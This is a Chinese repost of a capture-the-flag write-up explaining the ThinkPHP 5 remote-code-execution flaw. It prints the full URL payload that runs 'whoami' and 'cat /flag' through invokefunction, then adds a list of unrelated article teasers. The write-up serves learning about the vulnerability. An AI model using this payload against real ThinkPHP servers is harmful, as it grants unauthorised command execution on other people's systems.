攻防世界-web-php_rce

news2024/11/27 17:35:23

题目描述:无,只给了下面一张图(PS:图中的链接没问题) 

1. 思路分析

图中信息给的不是很到位,需要有点外部知识,网上搜索ThinkPHP V5,可以看到是think php的一个历史高危漏洞,具体信息可以参考https://www.freebuf.com/vuls/303908.html

这里简单总结下:

payload为?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

s参数为thinkphp的一种路由形式
http://xxx.com/index.php?s=/module/controller/func/args/value (func也叫action,就是类里的方法名)

在POC中:

module = index,对应的是index文件夹

controller = think\app,这个是一个漏洞利用点,当controller中存在\字符时,不会对controller进行进一步解析,此时会创建APP对象

func(action) = call_user_func_array:此为APP对象中的函数

args = ars[0]=system&vars[1][]=whoami:表示传入call_user_func_array的参数,可以执行命令

2. 利用已知POC找到flag

从以上的漏洞分析来看,我们将POC中的命令换成find / -name "*flag*",但是并没有我们想要的文件

再看看当前目录:也没有

再看看根目录:发现flag

最后获取到flag,POC:61.147.171.105:50706/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

 

 总结:非常经典的RCE,这道题最大的意义在于了解这个RCE的原理。即外部controller和命令执行的命令和参数均外部可控。外部controller可控导致可以创建APP对象,而APP对象中又存在危险函数,函数中的参数也是外部可控的,进而导致RCE。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/528947.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Grafana插件安装并接入zabbix数据源(03)

一、在线安装插件 如果不指定插件安装位置,则默认安装位置为/var/lib/grafana/plugins;插件安装后需要重启grafana-server 安装zabbix插件alexanderzobnin-zabbix-app # grafana-cli plugins install alexanderzobnin-zabbix-app 使用--pluginsDir指定安装路径 # grafana…

分库分表的 21 条法则,hold 住

不着急实战,咱们先介绍下在分库分表架构实施过程中,会接触到的一些通用概念,了解这些概念能够帮助理解市面上其他的分库分表工具,尽管它们的实现方法可能存在差异,但整体思路基本一致。因此,在开始实际操作…

【字典详细介绍】——python基础——如桃花来

目录索引 字典的意义和特征:创建字典的语法:创建空字典的两种形式:创建字典的形式:*直接用大括号包裹即可:* 字典的常见操作:新增及修改:删除:***语法:****clear()清空字…

【方法】PDF文档很多页,怎么提取并保存其中一页或多页?

​生活或工作中,PDF文档都很常见,有时候我们得到一份PDF文档,想要提取里面的内容,只需要其中一页或多页,或部分内容,那要怎么提取并保存下来呢?下面小编分享3个方法,简单快速解决问题…

大型集团数字化现状洞察,三步解决组织分级分权管理难题|身份云研究院

在经历全球范围的疫情冲击后,疫情对企业数字化转型的影响已经从初期被迫式、局部场景的“云办公”转化为长期深远地全场景影响。加之近年中美技术加速解耦,以及信创政策的加持下,中国企业在数字化转型中使用本地化解决方案代替原有的外企套装…

Linux 使用笔记(本人出品,必属精品)

文章目录 Part.I IntroductionChap.I 快应用Chap.II 课程所学 Part.II 基础知识Chap.X 杂记 Part.I Introduction Linux 是笔者在大四上学期学的,当时授课的刘老师现在还能偶尔见到。但是平时一般用 Windows,有机会接触 Linux 一般是偶尔在服务器上跑跑程…

Android还要继续学习吗?高薪高级开发领先位置占据一席之地

Android开发还有必要学习吗 ? 我们来看Android从业大佬的回答;从回答中可以读取出一些信息,Android市场仍有岗位需求,只不过减少许多初级Android开发岗位。对于中高端市场还是面临着缺少人才;因为初级开发人员多啊&am…

数据治理实践-全面总结:小文件治理

01 背景 小文件是如何产生的: 日常任务及动态分区插入数据(使用的Spark2 MapReduce引擎),产生大量的小文件,从而导致Map数量剧增; Reduce数量越多,小文件也越多(Reduce的个数和输出文件是对应…

Cube Map 系列之:手把手教你 使用 立方体贴图

什么是Cube Map 在开始立方体贴图之前,我们先简单了解下cube map。 cube map 包含了六个纹理,分别表示了立方体的六个面; 相较二维的纹理使用坐标uv来获取纹理信息,这里我们需要使用三维的方向向量来获取纹理信息(一…

[PyTorch][chapter 33][卷积神经网络]

前言 参考: 《数字图像处理与机器视觉》 第五章 空间域图像增强, 图像卷积: 空间域图像增强 图像增强是根据特定需要突出一副图像中的某些信息,同时削弱或去除 某些不需要信息的处理方法,其主要目的是是的处理后的图像对某种特定的…

有人问C# web怎么部署iis上面

C# web怎么部署iis上面 C# web项目怎么来???IIS作用 IIS怎么开启步骤一:打开控制面板->程序->启动或关闭windows 功能->找到**Internet Information Services**步骤二:勾选 web管理工具,http错误&…

超好用的工具类网站分享,打工人必备!

今天给大家推荐几个超好用的工具类网站,无论是工作还是生活中堪称打工人必备工具。 Background Maker https://colorkit.co/background-maker/82cedd-b04a0d-56d8a9/ 网站内置了 7 种不同风格的背景,如渐变色、波浪、低三角形等,非常适合用作…

基于梯度提升决策树的组合特征方法,《百面机器学习》学习笔记

《百面机器学习》学习笔记:基于梯度提升决策树的组合特征方法 基于梯度提升决策树的组合特征方法梯度提升决策树这里举一个例子来说明梯度提升决策树的思想方法假设对于某种类型的输入,经过上述介绍的梯度提升决策树构建流程得到的模型如下图所示 基于梯…

开源的表单系统效果怎么样?

当前,开源的表单系统得到了企业的重视和喜爱,因为它的简洁、灵活、便捷等优势特点,助力企业提质增效,各部门之间的协作沟通效率得到提升,数据资源也获得了有效整理和应用。今天,我们就一起来看看开源的表单…

不愧是腾讯 ,问的贼细

腾讯软件测试岗位的面试流程可能会因个人经验和公司而异,但通常情况下,腾讯软件测试的面试分为初试、二面、三面和四面。以下是每一轮面试可能涉及到的问题: 初试: 请介绍一下自己,以及为什么想要加入腾讯软件测试团…

oracle 学习之 unpivot/pivot函数及hive实现该功能

Oracle中pivot函数详解_实泽有之,无泽虚之的博客-CSDN博客pivot函数格式:pivot(聚合函数 for 需要转为列的字段名 in(需要转为列的字段值));pivot函数说明:实现将指定字段的值转换为列的效果。https://blog.csdn.net/qq_40018576/…

最新DNDC模型在土地利用变化、未来气候变化下的建模方法及温室气体时空动态模拟实践技术应用

由于全球变暖、大气中温室气体浓度逐年增加等问题的出现,“双碳”行动特别是碳中和已经在世界范围形成广泛影响。。DNDC(Denitrification-Decomposition,反硝化-分解模型)是目前国际上最为成功的模拟生物地球化学循环的模型之一&a…

Flutter报错Building with plugins requires symlink support的解决方法

错误 Building with plugins requires symlink support. Please enable Developer Mode in your system settings. Runstart ms-settings:developers to open settings. 原因 这个错误表示你的系统尚未启用开发者模式,所以无法使用Flutter的插件功能。 Flutter插件会通过符号…

OJ刷题 第十六篇(递推较多,难)

31012 - 贴瓷砖 时间限制 : 1 秒 内存限制 : 32 MB 有一块大小是 2 * n 的墙面&#xff0c;现在需要用2种规格的瓷砖铺满&#xff0c;瓷砖规格分别是 2 * 1 和 2 * 2&#xff0c;请计算一共有多少种铺设的方法。 输入 输入的第一行包含一个正整数T&#xff08;T<20&…

第十三章 使用DHCP动态管理主机地址

文章目录 第十三章 使用DHCP动态管理主机地址一、动态主机地址管理协议1、DHCP简介2、DHCP常见术语 二、部署DHCP服务程序1、安装DHCP服务程序2、配置文件参考模板3、dhcpd服务程序配置文件中常见参数及作用 三、自动管理IP地址1、机房所用的网络地址以及参数信息2、关闭虚拟网…